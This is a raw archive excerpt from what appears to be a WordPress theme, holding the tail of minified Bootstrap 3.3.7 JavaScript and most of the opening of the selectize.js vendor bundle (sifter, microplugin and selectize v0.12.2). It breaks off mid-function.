a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.getScrollHeight(),d=this.options.offset+c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(this.scrollHeight!=c&&this.refresh(),b>=d)return g!=(a=f[f.length-1])&&this.activate(a);if(g&&b<e[0])return this.activeTarget=null,this.clear();for(a=e.length;a--;)g!=f[a]&&b>=e[a]&&(void 0===e[a+1]||b<e[a+1])&&this.activate(f[a])},b.prototype.activate=function(b){
    this.activeTarget=b,this.clear();var c=this.selector+'[data-target="'+b+'"],'+this.selector+'[href="'+b+'"]',d=a(c).parents("li").addClass("active");d.parent(".dropdown-menu").length&&(d=d.closest("li.dropdown").addClass("active")),d.trigger("activate.bs.scrollspy")},b.prototype.clear=function(){a(this.selector).parentsUntil(this.options.target,".active").removeClass("active")};var d=a.fn.scrollspy;a.fn.scrollspy=c,a.fn.scrollspy.Constructor=b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=d,this},a(window).on("load.bs.scrollspy.data-api",function(){a('[data-spy="scroll"]').each(function(){var b=a(this);c.call(b,b.data())})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.tab");e||d.data("bs.tab",e=new c(this)),"string"==typeof b&&e[b]()})}var c=function(b){this.element=a(b)};c.VERSION="3.3.7",c.TRANSITION_DURATION=150,c.prototype.show=function(){var b=this.element,c=b.closest("ul:not(.dropdown-menu)"),d=b.data("target");if(d||(d=b.attr("href"),d=d&&d.replace(/.*(?=#[^\s]*$)/,"")),!b.parent("li").hasClass("active")){var e=c.find(".active:last a"),f=a.Event("hide.bs.tab",{relatedTarget:b[0]}),g=a.Event("show.bs.tab",{relatedTarget:e[0]});if(e.trigger(f),b.trigger(g),!g.isDefaultPrevented()&&!f.isDefaultPrevented()){var h=a(d);this.activate(b.closest("li"),c),this.activate(h,h.parent(),function(){e.trigger({type:"hidden.bs.tab",relatedTarget:b[0]}),b.trigger({type:"shown.bs.tab",relatedTarget:e[0]})})}}},c.prototype.activate=function(b,d,e){function f(){g.removeClass("active").find("> .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),b.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),h?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu").length&&b.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),e&&e()}var g=d.find("> .active"),h=e&&a.support.transition&&(g.length&&g.hasClass("fade")||!!d.find("> .fade").length);g.length&&h?g.one("bsTransitionEnd",f).emulateTransitionEnd(c.TRANSITION_DURATION):f(),g.removeClass("in")};var d=a.fn.tab;a.fn.tab=b,a.fn.tab.Constructor=c,a.fn.tab.noConflict=function(){return a.fn.tab=d,this};var e=function(c){c.preventDefault(),b.call(a(this),"show")};a(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',e).on("click.bs.tab.data-api",'[data-toggle="pill"]',e)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof b&&b;e||d.data("bs.affix",e=new c(this,f)),"string"==typeof b&&e[b]()})}var c=function(b,d){this.options=a.extend({},c.DEFAULTS,d),this.$target=a(this.options.target).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(b),this.affixed=null,this.unpin=null,this.pinnedOffset=null,this.checkPosition()};c.VERSION="3.3.7",c.RESET="affix affix-top affix-bottom",c.DEFAULTS={offset:0,target:window},c.prototype.getState=function(a,b,c,d){var e=this.$target.scrollTop(),f=this.$element.offset(),g=this.$target.height();if(null!=c&&"top"==this.affixed)return e<c&&"top";if("bottom"==this.affixed)return null!=c?!(e+this.unpin<=f.top)&&"bottom":!(e+g<=a-d)&&"bottom";var h=null==this.affixed,i=h?e:f.top,j=h?g:b;return null!=c&&e<=c?"top":null!=d&&i+j>=a-d&&"bottom"},c.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(c.RESET).addClass("affix");var a=this.$target.scrollTop(),b=this.$element.offset();return this.pinnedOffset=b.top-a},c.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},c.prototype.checkPosition=function(){if(this.$element.is(":visible")){var b=this.$element.height(),d=this.options.offset,e=d.top,f=d.bottom,g=Math.max(a(document).height(),a(document.body).height());"object"!=typeof d&&(f=e=d),"function"==typeof e&&(e=d.top(this.$element)),"function"==typeof f&&(f=d.bottom(this.$element));var h=this.getState(g,b,e,f);if(this.affixed!=h){null!=this.unpin&&this.$element.css("top","");var i="affix"+(h?"-"+h:""),j=a.Event(i+".bs.affix");if(this.$element.trigger(j),j.isDefaultPrevented())return;this.affixed=h,this.unpin="bottom"==h?this.getPinnedOffset():null,this.$element.removeClass(c.RESET).addClass(i).trigger(i.replace("affix","affixed")+".bs.affix")}"bottom"==h&&this.$element.offset({top:g-b-f})}};var d=a.fn.affix;a.fn.affix=b,a.fn.affix.Constructor=c,a.fn.affix.noConflict=function(){return a.fn.affix=d,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var c=a(this),d=c.data();d.offset=d.offset||{},null!=d.offsetBottom&&(d.offset.bottom=d.offsetBottom),null!=d.offsetTop&&(d.offset.top=d.offsetTop),b.call(c,d)})})}(jQuery);PK     N\:e  6  inc/customizer/framework/assets/js/vendor/selectize.jsnu [        /**
 * sifter.js
 * Copyright (c) 2013 Brian Reavis & contributors
 *
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this
 * file except in compliance with the License. You may obtain a copy of the License at:
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software distributed under
 * the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
 * ANY KIND, either express or implied. See the License for the specific language
 * governing permissions and limitations under the License.
 *
 * @author Brian Reavis <brian@thirdroute.com>
 */

(function(root, factory) {
	if (typeof define === 'function' && define.amd) {
		define('sifter', factory);
	} else if (typeof exports === 'object') {
		module.exports = factory();
	} else {
		root.Sifter = factory();
	}
}(this, function() {
    'use strict';

	/**
	 * Textually searches arrays and hashes of objects
	 * by property (or multiple properties). Designed
	 * specifically for autocomplete.
	 *
	 * @constructor
	 * @param {array|object} items
	 * @param {object} items
	 */
	var Sifter = function(items, settings) {
		this.items = items;
		this.settings = settings || {diacritics: true};
	};

	/**
	 * Splits a search string into an array of individual
	 * regexps to be used to match results.
	 *
	 * @param {string} query
	 * @returns {array}
	 */
	Sifter.prototype.tokenize = function(query) {
		query = trim(String(query || '').toLowerCase());
		if (!query || !query.length) return [];

		var i, n, regex, letter;
		var tokens = [];
		var words = query.split(/ +/);

		for (i = 0, n = words.length; i < n; i++) {
			regex = escape_regex(words[i]);
			if (this.settings.diacritics) {
				for (letter in DIACRITICS) {
					if (DIACRITICS.hasOwnProperty(letter)) {
						regex = regex.replace(new RegExp(letter, 'g'), DIACRITICS[letter]);
					}
				}
			}
			tokens.push({
				string : words[i],
				regex  : new RegExp(regex, 'i')
			});
		}

		return tokens;
	};

	/**
	 * Iterates over arrays and hashes.
	 *
	 * ```
	 * this.iterator(this.items, function(item, id) {
	 *    // invoked for each item
	 * });
	 * ```
	 *
	 * @param {array|object} object
	 */
	Sifter.prototype.iterator = function(object, callback) {
		var iterator;
		if (is_array(object)) {
			iterator = Array.prototype.forEach || function(callback) {
						for (var i = 0, n = this.length; i < n; i++) {
							callback(this[i], i, this);
						}
					};
		} else {
			iterator = function(callback) {
				for (var key in this) {
					if (this.hasOwnProperty(key)) {
						callback(this[key], key, this);
					}
				}
			};
		}

		iterator.apply(object, [callback]);
	};

	/**
	 * Returns a function to be used to score individual results.
	 *
	 * Good matches will have a higher score than poor matches.
	 * If an item is not a match, 0 will be returned by the function.
	 *
	 * @param {object|string} search
	 * @param {object} options (optional)
	 * @returns {function}
	 */
	Sifter.prototype.getScoreFunction = function(search, options) {
		var self, fields, tokens, token_count, nesting;

		self        = this;
		search      = self.prepareSearch(search, options);
		tokens      = search.tokens;
		fields      = search.options.fields;
		token_count = tokens.length;
		nesting     = search.options.nesting;

		/**
		 * Calculates how close of a match the
		 * given value is against a search token.
		 *
		 * @param {mixed} value
		 * @param {object} token
		 * @return {number}
		 */
		var scoreValue = function(value, token) {
			var score, pos;

			if (!value) return 0;
			value = String(value || '');
			pos = value.search(token.regex);
			if (pos === -1) return 0;
			score = token.string.length / value.length;
			if (pos === 0) score += 0.5;
			return score;
		};

		/**
		 * Calculates the score of an object
		 * against the search query.
		 *
		 * @param {object} token
		 * @param {object} data
		 * @return {number}
		 */
		var scoreObject = (function() {
			var field_count = fields.length;
			if (!field_count) {
				return function() { return 0; };
			}
			if (field_count === 1) {
				return function(token, data) {
					return scoreValue(getattr(data, fields[0], nesting), token);
				};
			}
			return function(token, data) {
				for (var i = 0, sum = 0; i < field_count; i++) {
					sum += scoreValue(getattr(data, fields[i], nesting), token);
				}
				return sum / field_count;
			};
		})();

		if (!token_count) {
			return function() { return 0; };
		}
		if (token_count === 1) {
			return function(data) {
				return scoreObject(tokens[0], data);
			};
		}

		if (search.options.conjunction === 'and') {
			return function(data) {
				var score;
				for (var i = 0, sum = 0; i < token_count; i++) {
					score = scoreObject(tokens[i], data);
					if (score <= 0) return 0;
					sum += score;
				}
				return sum / token_count;
			};
		} else {
			return function(data) {
				for (var i = 0, sum = 0; i < token_count; i++) {
					sum += scoreObject(tokens[i], data);
				}
				return sum / token_count;
			};
		}
	};

	/**
	 * Returns a function that can be used to compare two
	 * results, for sorting purposes. If no sorting should
	 * be performed, `null` will be returned.
	 *
	 * @param {string|object} search
	 * @param {object} options
	 * @return function(a,b)
	 */
	Sifter.prototype.getSortFunction = function(search, options) {
		var i, n, self, field, fields, fields_count, multiplier, multipliers, get_field, implicit_score, sort;

		self   = this;
		search = self.prepareSearch(search, options);
		sort   = (!search.query && options.sort_empty) || options.sort;

		/**
		 * Fetches the specified sort field value
		 * from a search result item.
		 *
		 * @param  {string} name
		 * @param  {object} result
		 * @return {mixed}
		 */
		get_field = function(name, result) {
			if (name === '$score') return result.score;
			return getattr(self.items[result.id], name, options.nesting);
		};

		// parse options
		fields = [];
		if (sort) {
			for (i = 0, n = sort.length; i < n; i++) {
				if (search.query || sort[i].field !== '$score') {
					fields.push(sort[i]);
				}
			}
		}

		// the "$score" field is implied to be the primary
		// sort field, unless it's manually specified
		if (search.query) {
			implicit_score = true;
			for (i = 0, n = fields.length; i < n; i++) {
				if (fields[i].field === '$score') {
					implicit_score = false;
					break;
				}
			}
			if (implicit_score) {
				fields.unshift({field: '$score', direction: 'desc'});
			}
		} else {
			for (i = 0, n = fields.length; i < n; i++) {
				if (fields[i].field === '$score') {
					fields.splice(i, 1);
					break;
				}
			}
		}

		multipliers = [];
		for (i = 0, n = fields.length; i < n; i++) {
			multipliers.push(fields[i].direction === 'desc' ? -1 : 1);
		}

		// build function
		fields_count = fields.length;
		if (!fields_count) {
			return null;
		} else if (fields_count === 1) {
			field = fields[0].field;
			multiplier = multipliers[0];
			return function(a, b) {
				return multiplier * cmp(
								get_field(field, a),
								get_field(field, b)
						);
			};
		} else {
			return function(a, b) {
				var i, result, a_value, b_value, field;
				for (i = 0; i < fields_count; i++) {
					field = fields[i].field;
					result = multipliers[i] * cmp(
									get_field(field, a),
									get_field(field, b)
							);
					if (result) return result;
				}
				return 0;
			};
		}
	};

	/**
	 * Parses a search query and returns an object
	 * with tokens and fields ready to be populated
	 * with results.
	 *
	 * @param {string} query
	 * @param {object} options
	 * @returns {object}
	 */
	Sifter.prototype.prepareSearch = function(query, options) {
		if (typeof query === 'object') return query;

		options = extend({}, options);

		var option_fields     = options.fields;
		var option_sort       = options.sort;
		var option_sort_empty = options.sort_empty;

		if (option_fields && !is_array(option_fields)) options.fields = [option_fields];
		if (option_sort && !is_array(option_sort)) options.sort = [option_sort];
		if (option_sort_empty && !is_array(option_sort_empty)) options.sort_empty = [option_sort_empty];

		return {
			options : options,
			query   : String(query || '').toLowerCase(),
			tokens  : this.tokenize(query),
			total   : 0,
			items   : []
		};
	};

	/**
	 * Searches through all items and returns a sorted array of matches.
	 *
	 * The `options` parameter can contain:
	 *
	 *   - fields {string|array}
	 *   - sort {array}
	 *   - score {function}
	 *   - filter {bool}
	 *   - limit {integer}
	 *
	 * Returns an object containing:
	 *
	 *   - options {object}
	 *   - query {string}
	 *   - tokens {array}
	 *   - total {int}
	 *   - items {array}
	 *
	 * @param {string} query
	 * @param {object} options
	 * @returns {object}
	 */
	Sifter.prototype.search = function(query, options) {
		var self = this, value, score, search, calculateScore;
		var fn_sort;
		var fn_score;

		search  = this.prepareSearch(query, options);
		options = search.options;
		query   = search.query;

		// generate result scoring function
		fn_score = options.score || self.getScoreFunction(search);

		// perform search and sort
		if (query.length) {
			self.iterator(self.items, function(item, id) {
				score = fn_score(item);
				if (options.filter === false || score > 0) {
					search.items.push({'score': score, 'id': id});
				}
			});
		} else {
			self.iterator(self.items, function(item, id) {
				search.items.push({'score': 1, 'id': id});
			});
		}

		fn_sort = self.getSortFunction(search, options);
		if (fn_sort) search.items.sort(fn_sort);

		// apply limits
		search.total = search.items.length;
		if (typeof options.limit === 'number') {
			search.items = search.items.slice(0, options.limit);
		}

		return search;
	};

	// utilities
	// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

	var cmp = function(a, b) {
		if (typeof a === 'number' && typeof b === 'number') {
			return a > b ? 1 : (a < b ? -1 : 0);
		}
		a = asciifold(String(a || ''));
		b = asciifold(String(b || ''));
		if (a > b) return 1;
		if (b > a) return -1;
		return 0;
	};

	var extend = function(a, b) {
		var i, n, k, object;
		for (i = 1, n = arguments.length; i < n; i++) {
			object = arguments[i];
			if (!object) continue;
			for (k in object) {
				if (object.hasOwnProperty(k)) {
					a[k] = object[k];
				}
			}
		}
		return a;
	};

	/**
	 * A property getter resolving dot-notation
	 * @param  {Object}  obj     The root object to fetch property on
	 * @param  {String}  name    The optionally dotted property name to fetch
	 * @param  {Boolean} nesting Handle nesting or not
	 * @return {Object}          The resolved property value
	 */
	var getattr = function(obj, name, nesting) {
		if (!obj || !name) return;
		if (!nesting) return obj[name];
		var names = name.split(".");
		while(names.length && (obj = obj[names.shift()]));
		return obj;
	};

	var trim = function(str) {
		return (str + '').replace(/^\s+|\s+$|/g, '');
	};

	var escape_regex = function(str) {
		return (str + '').replace(/([.?*+^$[\]\\(){}|-])/g, '\\$1');
	};

	var is_array = Array.isArray || (typeof $ !== 'undefined' && $.isArray) || function(object) {
				return Object.prototype.toString.call(object) === '[object Array]';
			};

	var DIACRITICS = {
		'a': '[aḀḁĂăÂâǍǎȺⱥȦȧẠạÄäÀàÁáĀāÃãÅåąĄÃąĄ]',
		'b': '[b␢βΒB฿𐌁ᛒ]',
		'c': '[cĆćĈĉČčĊċC̄c̄ÇçḈḉȻȼƇƈɕᴄＣｃ]',
		'd': '[dĎďḊḋḐḑḌḍḒḓḎḏĐđD̦d̦ƉɖƊɗƋƌᵭᶁᶑȡᴅＤｄð]',
		'e': '[eÉéÈèÊêḘḙĚěĔĕẼẽḚḛẺẻĖėËëĒēȨȩĘęᶒɆɇȄȅẾếỀềỄễỂểḜḝḖḗḔḕȆȇẸẹỆệⱸᴇＥｅɘǝƏƐε]',
		'f': '[fƑƒḞḟ]',
		'g': '[gɢ₲ǤǥĜĝĞğĢģƓɠĠġ]',
		'h': '[hĤĥĦħḨḩẖẖḤḥḢḣɦʰǶƕ]',
		'i': '[iÍíÌìĬĭÎîǏǐÏïḮḯĨĩĮįĪīỈỉȈȉȊȋỊịḬḭƗɨɨ̆ᵻᶖİiIıɪＩｉ]',
		'j': '[jȷĴĵɈɉʝɟʲ]',
		'k': '[kƘƙꝀꝁḰḱǨǩḲḳḴḵκϰ₭]',
		'l': '[lŁłĽľĻļĹĺḶḷḸḹḼḽḺḻĿŀȽƚⱠⱡⱢɫɬᶅɭȴʟＬｌ]',
		'n': '[nŃńǸǹŇňÑñṄṅŅņṆṇṊṋṈṉN̈n̈ƝɲȠƞᵰᶇɳȵɴＮｎŊŋ]',
		'o': '[oØøÖöÓóÒòÔôǑǒŐőŎŏȮȯỌọƟɵƠơỎỏŌōÕõǪǫȌȍՕօ]',
		'p': '[pṔṕṖṗⱣᵽƤƥᵱ]',
		'q': '[qꝖꝗʠɊɋꝘꝙq̃]',
		'r': '[rŔŕɌɍŘřŖŗṘṙȐȑȒȓṚṛⱤɽ]',
		's': '[sŚśṠṡṢṣꞨꞩŜŝŠšŞşȘșS̈s̈]',
		't': '[tŤťṪṫŢţṬṭƮʈȚțṰṱṮṯƬƭ]',
		'u': '[uŬŭɄʉỤụÜüÚúÙùÛûǓǔŰűŬŭƯưỦủŪūŨũŲųȔȕ∪]',
		'v': '[vṼṽṾṿƲʋꝞꝟⱱʋ]',
		'w': '[wẂẃẀẁŴŵẄẅẆẇẈẉ]',
		'x': '[xẌẍẊẋχ]',
		'y': '[yÝýỲỳŶŷŸÿỸỹẎẏỴỵɎɏƳƴ]',
		'z': '[zŹźẐẑŽžŻżẒẓẔẕƵƶ]'
	};

	var asciifold = (function() {
		var i, n, k, chunk;
		var foreignletters = '';
		var lookup = {};
		for (k in DIACRITICS) {
			if (DIACRITICS.hasOwnProperty(k)) {
				chunk = DIACRITICS[k].substring(2, DIACRITICS[k].length - 1);
				foreignletters += chunk;
				for (i = 0, n = chunk.length; i < n; i++) {
					lookup[chunk.charAt(i)] = k;
				}
			}
		}
		var regexp = new RegExp('[' +  foreignletters + ']', 'g');
		return function(str) {
			return str.replace(regexp, function(foreignletter) {
				return lookup[foreignletter];
			}).toLowerCase();
		};
	})();


	// export
	// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

	return Sifter;
}));



/**
 * microplugin.js
 * Copyright (c) 2013 Brian Reavis & contributors
 *
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this
 * file except in compliance with the License. You may obtain a copy of the License at:
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software distributed under
 * the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
 * ANY KIND, either express or implied. See the License for the specific language
 * governing permissions and limitations under the License.
 *
 * @author Brian Reavis <brian@thirdroute.com>
 */

(function(root, factory) {
	if (typeof define === 'function' && define.amd) {
		define('microplugin', factory);
	} else if (typeof exports === 'object') {
		module.exports = factory();
	} else {
		root.MicroPlugin = factory();
	}
}(this, function() {
    'use strict';

	var MicroPlugin = {};

	MicroPlugin.mixin = function(Interface) {
		Interface.plugins = {};

		/**
		 * Initializes the listed plugins (with options).
		 * Acceptable formats:
		 *
		 * List (without options):
		 *   ['a', 'b', 'c']
		 *
		 * List (with options):
		 *   [{'name': 'a', options: {}}, {'name': 'b', options: {}}]
		 *
		 * Hash (with options):
		 *   {'a': { ... }, 'b': { ... }, 'c': { ... }}
		 *
		 * @param {mixed} plugins
		 */
		Interface.prototype.initializePlugins = function(plugins) {
			var i, n, key;
			var self  = this;
			var queue = [];

			self.plugins = {
				names     : [],
				settings  : {},
				requested : {},
				loaded    : {}
			};

			if (utils.isArray(plugins)) {
				for (i = 0, n = plugins.length; i < n; i++) {
					if (typeof plugins[i] === 'string') {
						queue.push(plugins[i]);
					} else {
						self.plugins.settings[plugins[i].name] = plugins[i].options;
						queue.push(plugins[i].name);
					}
				}
			} else if (plugins) {
				for (key in plugins) {
					if (plugins.hasOwnProperty(key)) {
						self.plugins.settings[key] = plugins[key];
						queue.push(key);
					}
				}
			}

			while (queue.length) {
				self.require(queue.shift());
			}
		};

		Interface.prototype.loadPlugin = function(name) {
			var self    = this;
			var plugins = self.plugins;
			var plugin  = Interface.plugins[name];

			if (!Interface.plugins.hasOwnProperty(name)) {
				throw new Error('Unable to find "' +  name + '" plugin');
			}

			plugins.requested[name] = true;
			plugins.loaded[name] = plugin.fn.apply(self, [self.plugins.settings[name] || {}]);
			plugins.names.push(name);
		};

		/**
		 * Initializes a plugin.
		 *
		 * @param {string} name
		 */
		Interface.prototype.require = function(name) {
			var self = this;
			var plugins = self.plugins;

			if (!self.plugins.loaded.hasOwnProperty(name)) {
				if (plugins.requested[name]) {
					throw new Error('Plugin has circular dependency ("' + name + '")');
				}
				self.loadPlugin(name);
			}

			return plugins.loaded[name];
		};

		/**
		 * Registers a plugin.
		 *
		 * @param {string} name
		 * @param {function} fn
		 */
		Interface.define = function(name, fn) {
			Interface.plugins[name] = {
				'name' : name,
				'fn'   : fn
			};
		};
	};

	var utils = {
		isArray: Array.isArray || function(vArg) {
			return Object.prototype.toString.call(vArg) === '[object Array]';
		}
	};

	return MicroPlugin;
}));

/**
 * selectize.js (v0.12.2)
 * Copyright (c) 2013–2015 Brian Reavis & contributors
 *
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this
 * file except in compliance with the License. You may obtain a copy of the License at:
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software distributed under
 * the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
 * ANY KIND, either express or implied. See the License for the specific language
 * governing permissions and limitations under the License.
 *
 * @author Brian Reavis <brian@thirdroute.com>
 */

/*jshint curly:false */
/*jshint browser:true */

(function(root, factory) {
	if (typeof define === 'function' && define.amd) {
		define('selectize', ['jquery','sifter','microplugin'], factory);
	} else if (typeof exports === 'object') {
		module.exports = factory(require('jquery'), require('sifter'), require('microplugin'));
	} else {
		root.Selectize = factory(root.jQuery, root.Sifter, root.MicroPlugin);
	}
}(this, function($, Sifter, MicroPlugin) {
	'use strict';

	var highlight = function($element, pattern) {
		if (typeof pattern === 'string' && !pattern.length) return;
		var regex = (typeof pattern === 'string') ? new RegExp(pattern, 'i') : pattern;

		var highlight = function(node) {
			var skip = 0;
			if (node.nodeType === 3) {
				var pos = node.data.search(regex);
				if (pos >= 0 && node.data.length > 0) {
					var match = node.data.match(regex);
					var spannode = document.createElement('span');
					spannode.className = 'highlight';
					var middlebit = node.splitText(pos);
					var endbit = middlebit.splitText(match[0].length);
					var middleclone = middlebit.cloneNode(true);
					spannode.appendChild(middleclone);
					middlebit.parentNode.replaceChild(spannode, middlebit);
					skip = 1;
				}
			} else if (node.nodeType === 1 && node.childNodes && !/(script|style)/i.test(node.tagName)) {
				for (var i = 0; i < node.childNodes.length; ++i) {
					i += highlight(node.childNodes[i]);
				}
			}
			return skip;
		};

		return $element.each(function() {
			highlight(this);
		});
	};

	var MicroEvent = function() {};
	MicroEvent.prototype = {
		on: function(event, fct){
			this._events = this._events || {};
			this._events[event] = this._events[event] || [];
			this._events[event].push(fct);
		},
		off: function(event, fct){
			var n = arguments.length;
			if (n === 0) return delete this._events;
			if (n === 1) return delete this._events[event];

			this._events = this._events || {};
			if (event in this._events === false) return;
			this._events[event].splice(this._events[event].indexOf(fct), 1);
		},
		trigger: function(event /* , args... */){
			this._events = this._events || {};
			if (event in this._events === false) return;
			for (var i = 0; i < this._events[event].length; i++){
				this._events[event][i].apply(this, Array.prototype.slice.call(arguments, 1));
			}
		}
	};

	/**
	 * Mixin will delegate all MicroEvent.js function in the destination object.
	 *
	 * - MicroEvent.mixin(Foobar) will make Foobar able to use MicroEvent
	 *
	 * @param {object} the object which will support MicroEvent
	 */
	MicroEvent.mixin = function(destObject){
		var props = ['on', 'off', 'trigger'];
		for (var i = 0; i < props.length; i++){
			destObject.prototype[props[i]] = MicroEvent.prototype[props[i]];
		}
	};

	var IS_MAC        = /Mac/.test(navigator.userAgent);

	var KEY_A         = 65;
	var KEY_COMMA     = 188;
	var KEY_RETURN    = 13;
	var KEY_ESC       = 27;
	var KEY_LEFT      = 37;
	var KEY_UP        = 38;
	var KEY_P         = 80;
	var KEY_RIGHT     = 39;
	var KEY_DOWN      = 40;
	var KEY_N         = 78;
	var KEY_BACKSPACE = 8;
	var KEY_DELETE    = 46;
	var KEY_SHIFT     = 16;
	var KEY_CMD       = IS_MAC ? 91 : 17;
	var KEY_CTRL      = IS_MAC ? 18 : 17;
	var KEY_TAB       = 9;

	var TAG_SELECT    = 1;
	var TAG_INPUT     = 2;

	// for now, android support in general is too spotty to support validity
	var SUPPORTS_VALIDITY_API = !/android/i.test(window.navigator.userAgent) && !!document.createElement('form').validity;

	var isset = function(object) {
		return typeof object !== 'undefined';
	};

	/**
	 * Converts a scalar to its best string representation
	 * for hash keys and HTML attribute values.
	 *
	 * Transformations:
	 *   'str'     -> 'str'
	 *   null      -> ''
	 *   undefined -> ''
	 *   true      -> '1'
	 *   false     -> '0'
	 *   0         -> '0'
	 *   1         -> '1'
	 *
	 * @param {string} value
	 * @returns {string|null}
	 */
	var hash_key = function(value) {
		if (typeof value === 'undefined' || value === null) return null;
		if (typeof value === 'boolean') return value ? '1' : '0';
		return value + '';
	};

	/**
	 * Escapes a string for use within HTML.
	 *
	 * @param {string} str
	 * @returns {string}
	 */
	var escape_html = function(str) {
		return (str + '')
				.replace(/&/g, '&amp;')
				.replace(/</g, '&lt;')
				.replace(/>/g, '&gt;')
				.replace(/"/g, '&quot;');
	};

	/**
	 * Escapes "$" characters in replacement strings.
	 *
	 * @param {string} str
	 * @returns {string}
	 */
	var escape_replace = function(str) {
		return (str + '').replace(/\$/g, '$$$$');
	};

	var hook = {};

	/**
	 * Wraps `method` on `self` so that `fn`
	 * is invoked before the original method.
	 *
	 * @param {object} self
	 * @param {string} method
	 * @param {function} fn
	 */
	hook.before = function(self, method, fn) {
		var original = self[method];
		self[method] = function() {
			fn.apply(self, arguments);
			return original.apply(self, arguments);
		};
	};

	/**
	 * Wraps `method` on `self` so that `fn`
	 * is invoked after the original method.
	 *
	 * @param {object} self
	 * @param {string} method
	 * @param {function} fn
	 */
	hook.after = function(self, method, fn) {
		var original = self[method];
		self[method] = function() {
			var result = original.apply(self, arguments);
			fn.apply(self, arguments);
			return result;
		};
	};

	/**
	 * Wraps `fn` so that it can only be invoked once.
	 *
	 * @param {function} fn
	 * @returns {function}
	 */
	var once = function(fn) {
		var called = false;
		return function() {
			if (called) return;
			called = true;
			fn.apply(this, arguments);
		};
	};

	/**
	 * Wraps `fn` so that it can only be called once
	 * every `delay` milliseconds (invoked on the falling edge).
	 *
	 * @param {function} fn
	 * @param {int} delay
	 * @returns {function}
	 */
	var debounce = function(fn, delay) {
		var timeout;
		return function() {
			var self = this;
			var args = arguments;
			window.clearTimeout(timeout);
			timeout = window.setTimeout(function() {
				fn.apply(self, args);
			}, delay);
		};
	};

	/**
	 * Debounce all fired events types listed in `types`
	 * while executing the provided `fn`.
	 *
	 * @param {object} self
	 * @param {array} types
	 * @param {function} fn
	 */
	var debounce_events = function(self, types, fn) {
		var type;
		var trigger = self.trigger;
		var event_args = {};

		// override trigger method
		self.trigger = function() {
			var type = arguments[0];
			if (types.indexOf(type) !== -1) {
				event_args[type] = arguments;
			} else {
				return trigger.apply(self, arguments);
			}
		};

		// invoke provided function
		fn.apply(self, []);
		self.trigger = trigger;

		// trigger queued events
		for (type in event_args) {
			if (event_args.hasOwnProperty(type)) {
				trigger.apply(self, event_args[type]);
			}
		}
	};

	/**
	 * A workaround for http://bugs.jquery.com/ticket/6696
	 *
	 * @param {object} $parent - Parent element to listen on.
	 * @param {string} event - Event name.
	 * @param {string} selector - Descendant selector to filter by.
	 * @param {function} fn - Event handler.
	 */
	var watchChildEvent = function($parent, event, selector, fn) {
		$parent.on(event, selector, function(e) {
			var child = e.target;
			while (child && child.parentNode !== $parent[0]) {
				child = child.parentNode;
			}
			e.currentTarget = child;
			return fn.apply(this, [e]);
		});
	};

	/**
	 * Determines the current selection within a text input control.
	 * Returns an object containing:
	 *   - start
	 *   - length
	 *
	 * @param {object} input
	 * @returns {object}
	 */
	var getSelection = function(input) {
		var result = {};
		if ('selectionStart' in input) {
			result.start = input.selectionStart;
			result.length = input.selectionEnd - result.start;
		} else if (document.selection) {
			input.focus();
			var sel = document.selection.createRange();
			var selLen = document.selection.createRange().text.length;
			sel.moveStart('character', -input.value.length);
			result.start = sel.text.length - selLen;
			result.length = selLen;
		}
		return result;
	};

	/**
	 * Copies CSS properties from one element to another.
	 *
	 * @param {object} $from
	 * @param {object} $to
	 * @param {array} properties
	 */
	var transferStyles = function($from, $to, properties) {
		var i, n, styles = {};
		if (properties) {
			for (i = 0, n = properties.length; i < n; i++) {
				styles[properties[i]] = $from.css(properties[i]);
			}
		} else {
			styles = $from.css();
		}
		$to.css(styles);
	};

	/**
	 * Measures the width of a string within a
	 * parent element (in pixels).
	 *
	 * @param {string} str
	 * @param {object} $parent
	 * @returns {int}
	 */
	var measureString = function(str, $parent) {
		if (!str) {
			return 0;
		}

		var $test = $('<test>').css({
			position: 'absolute',
			top: -99999,
			left: -99999,
			width: 'auto',
			padding: 0,
			whiteSpace: 'pre'
		}).text(str).appendTo('body');

		transferStyles($parent, $test, [
			'letterSpacing',
			'fontSize',
			'fontFamily',
			'fontWeight',
			'textTransform'
		]);

		var width = $test.width();
		$test.remove();

		return width;
	};

	/**
	 * Sets up an input to grow horizontally as the user
	 * types. If the value is changed manually, you can
	 * trigger the "update" handler to resize:
	 *
	 * $input.trigger('update');
	 *
	 * @param {object} $input
	 */
	var autoGrow = function($input) {
		var currentWidth = null;

		var update = function(e, options) {
			var value, keyCode, printable, placeholder, width;
			var shift, character, selection;
			e = e || window.event || {};
			options = options || {};

			if (e.metaKey || e.altKey) return;
			if (!options.force && $input.data('grow') === false) return;

			value = $input.val();
			if (e.type && e.type.toLowerCase() === 'keydown') {
				keyCode = e.keyCode;
